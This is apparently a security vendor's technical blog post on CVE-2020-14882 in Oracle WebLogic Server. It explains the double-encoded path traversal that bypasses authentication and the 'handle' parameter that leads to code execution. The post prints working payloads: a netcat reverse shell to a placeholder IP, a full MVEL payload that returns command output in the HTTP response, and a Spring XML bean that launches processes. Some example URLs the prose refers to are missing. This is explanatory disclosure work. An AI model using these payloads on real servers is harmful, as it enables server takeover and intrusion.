In October 2020, an Oracle WebLogic Server remote code execution vulnerability was discovered. Assigned CVE identifier CVE-2020-14882, the issue prompted an out-of-band security update from Oracle. Following on from our previous post on the subject, this article takes a closer look at the security flaws that make exploitation possible and demonstrates typical attack payloads.
Setting the Scene: Automated Attacks on the Rise
During the last few years, we have seen dedicated cybercriminals shifting their focus from private websites to those of large corporations and governments. While attackers used to spend days or even weeks finding vulnerabilities in the assets of targeted companies in order to extract customer personal data or payment information, nowadays they usually prefer an automated approach. Attackers employ a fleet of hacked servers in order to continually scan the Internet for vulnerable assets and either bombard them with generic payloads or target known vulnerabilities (CVEs) in specific software products.
These targets are attractive because they allow wide-scale attacks with the least amount of effort. Attackers can make use of vulnerabilities with publicly-known exploits that can be modified to deploy ransomware on the targeted hosts. The recent critical vulnerability in Oracle WebLogic Server fits this pattern perfectly. This software is used almost exclusively by businesses, making it a prime target for ransomware operators who prefer the prospect of larger immediate payouts from corporations to ransoming individual users.
CVE-2020-14882, along with the associated CVE-2020-14750, was ranked 9/10 on the criticality scale. In other words, it’s pretty bad, especially given how easy it is to exploit. We’ve already talked about the impact of this vulnerability when announcing Invicti’s security check to detect it, but now it’s time for a detailed technical analysis of the underlying issue and typical attack payloads.
So how can an attacker actually exploit it to take over the server and execute arbitrary system commands? Let’s dive in.
An Authentication Bypass in the Exploit Chain
At the heart of the exploit is an authentication bypass. This is because the remote code execution itself is actually authenticated, so without valid login credentials, you shouldn’t be able to reach the code path enabling the execution of arbitrary Java code. This would make it a non-issue, at least if you ignore the detail of trusting server instance administrators to execute code on the server. Here’s why it is possible to bypass authentication.
By default, WebLogic will restrict access to dynamic pages by intercepting the request and redirecting the visitor back to the login page if they don’t have the proper privileges. In contrast, if they try to access static resources, such as CSS files or images, users are automatically granted access. So WebLogic checks whether the user is trying to access a directory with static content. If so, it will not intercept the request and will not redirect back to login. This check is initially done when the resource is accessed. A file like
/images/example.jpg will be served even if you are not authenticated, since it starts with
/images/ – a path that should contain static files.
The problem arises because the path is decoded and normalized before further processing. This leads to a vulnerability because the first segment of the path suggested a static resource, so request interception and redirection has already been deactivated. If you now go ahead and traverse out of that directory after the initial check and access the WebLogic administrative console, you have effectively bypassed authentication. This can be done using a link like the following:
This includes two dots and a slash in double-encoding. After they are decoded twice, these characters form a directory traversal sequence. Upon receiving the request, the first decoding gives the following path:
WebLogic now checks the start of the URL to determine if this is a static resource or a protected page:
Since this is a static URL, it sets some internal variables to deactivate login redirection and passes the URL to the next handler. The URL is then decoded once again:
WebLogic now believes this is the requested URL and checks whether it needs to redirect back to login or not. Since this redirection has already been disabled, the user is granted access to the administrative interface.
handle Request Parameter and Weird Design Choices
Getting easy access to the administrative interface is bad enough, but it gets worse. Clicking through the interface, we can find links like:
/console.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage& handle=com.bea.console.handles.JMXHandle("com.bea:Name=base_domain, Type=Domain")
If you know Java, these parameters should look very familiar indeed. This is simply Java code and the
handle parameter lets you instantiate classes that are then further processed by WebLogic. In this example, you instantiate the
JMXHandle class and pass it some data as its first parameter. This is incredibly insecure and, frankly, it’s a weird design choice. You can get the same desired behavior without giving users the ability to instantiate arbitrary classes from the web UI.
Writing an Exploit
There are different paths to code execution. Most published exploits use the
com.tangosol.coherence.mvel2.sh.ShellSession class to evaluate an MVEL expression. MVEL expressions are syntactically similar to Java but not exactly the same. This is not much of a hindrance, though, since we can still execute arbitrary Java commands. In general, a simple payload passed to the
handle parameter will do the trick and allow you to execute arbitrary code on the server, for example (replacing the
xxx’s with an IP address):
com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime. getRuntime().exec('nc xxx.xxx.xxx.xxx 4444 -e /bin/bash');")
While this will not be visible in the server response, it is all an attacker needs to execute code and take complete control of the machine WebLogic runs on. While egress filtering makes things more tricky, it is still possible to receive the output of the command by adjusting the payload accordingly.
Let’s build a payload that lets us read the result of the executed system command directly in the server response. If you are impatient, scroll down to the final, slightly confusing-looking block of code at the end of this section. There is a lot of it, but it has a very specific purpose. Instead of just executing a system command and ignoring its output, we can use the output handling functionality of Java Servlets to write the result of our command directly to the server response. This code is a modification of a payload that was published in a great GitHub post on this topic.
The payload has several parts with different roles. First of all, we are getting the context of the currently running thread in order to get access to the connection handler that is responsible for receiving requests and sending responses:
var currentThread = java.lang.Thread.currentThread(); var currentWorker = java.lang.Class .forName("weblogic.work.ExecuteThread") .getDeclaredMethod("getCurrentWork") .invoke(currentThread); var connectionHandler = currentWorker.getClass() .getDeclaredField("connectionHandler");
After that, we get access to the response object’s output stream, responsible for sending the response back to the client. The next step is to execute a system command and write its output directly to the output stream, which will write the data to the response. Then we interrupt the current thread in order to prevent further code from running:
var request = connectionHandler.getClass().getDeclaredField("request"); ... var response = request.get(connectionHandler).getResponse(); ... response.getServletOutputStream().write( new java.util.Scanner( new java.lang.ProcessBuilder("") .command("/bin/sh", "-c", "INJECT YOUR COMMAND HERE") .redirectErrorStream(true) .start() .getInputStream() ) .useDelimiter("\A") .next() .getBytes() ); ... currentThread.interrupt();
After tinkering with the payload to shorten it and adding a few more details to make it all work, we arrive at the final payload:
com.tangosol.coherence.mvel2.sh.ShellSession("var c = java.lang.Thread.currentThread();var w = java.lang.Class.forName("weblogic.work.ExecuteThread").getDeclaredMethod("getCurrentWork").invoke(c);var cf = w.getClass().getDeclaredField("connectionHandler");cf.setAccessible(true);var ch = cf.get(w);var rf = ch.getClass().getDeclaredField("request");rf.setAccessible(true);var r = rf.get(ch).getResponse();var os = r.getServletOutputStream();String cc="echo %24%28%28268409241-268396503%29%29";os.write(new java.util.Scanner(new java.lang.ProcessBuilder("").command("/bin/sh", "-c",cc).redirectErrorStream(true).start().getInputStream()).useDelimiter("\A").next().getBytes());os.flush();r.getWriter().write("");c.interrupt();")
An Alternative Payload
However, there is another payload that can be used to obtain remote code execution. The initial stage of this payload is relatively short – you simply supply a link to an external XML file that will execute code once parsed. The code for the
handle parameter is as follows:
As you may notice, the
ClassPathXmlApplicationContext class is part of the Spring framework used internally by WebLogic. Spring is a Java application framework that simplifies the development of complex applications. In this case,
ClassPathXmlApplicationContext allows you to configure Spring Beans. Let’s consult the Spring documentation:
In Spring, the objects that form the backbone of your application and that are managed by the Spring IoC container are called beans. A bean is an object that is instantiated, assembled, and otherwise managed by a Spring IoC container.
These objects can specify their own dependencies, presumably so they can be used as self-contained components within a Spring application. This means you have a great amount of freedom when configuring these beans, with the
ClassPathXmlApplicationContext class allowing you (among other things) to specify the constructor arguments of a class and execute it. Jas502n’s GitHub post includes an example of such a malicious payload that we can use for code execution:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value><![CDATA[calc]]></value> </list> </constructor-arg> </bean> </beans>
This sets the
init-method parameter to
start for the
java.lang.ProcessBuilder class, allowing us to execute a process by supplying the command to run as arguments to its constructor. You can see the constructor arguments written out as a list inside the
constructor-arg tag. The list is equivalent to running
cmd /c calc in the command line.
Don’t Be a Target
As you can see, there is more than one way to exploit this vulnerability and obtain remote code execution, so the issue should be treated as critical. We strongly recommend that you immediately update any vulnerable versions of Oracle WebLogic Server. We have also added a new security check to Invicti so you can test if your WebLogic instances are vulnerable to CVE-2020-14882 and its sibling CVE-2020-14883.
To quickly react to vulnerabilities like this one and significantly reduce the risk of an attack against outdated infrastructure, it is crucial to have an up-to-date list of all the web assets and technologies in your organization. Invicti comes with a Discovery feature to help you find and track all your web assets and a Technologies feature to identify web technologies, products, and versions used in your environment. Combined with industry-leading vulnerability scanning capabilities, this helps you maintain a solid security posture across all your web-facing systems.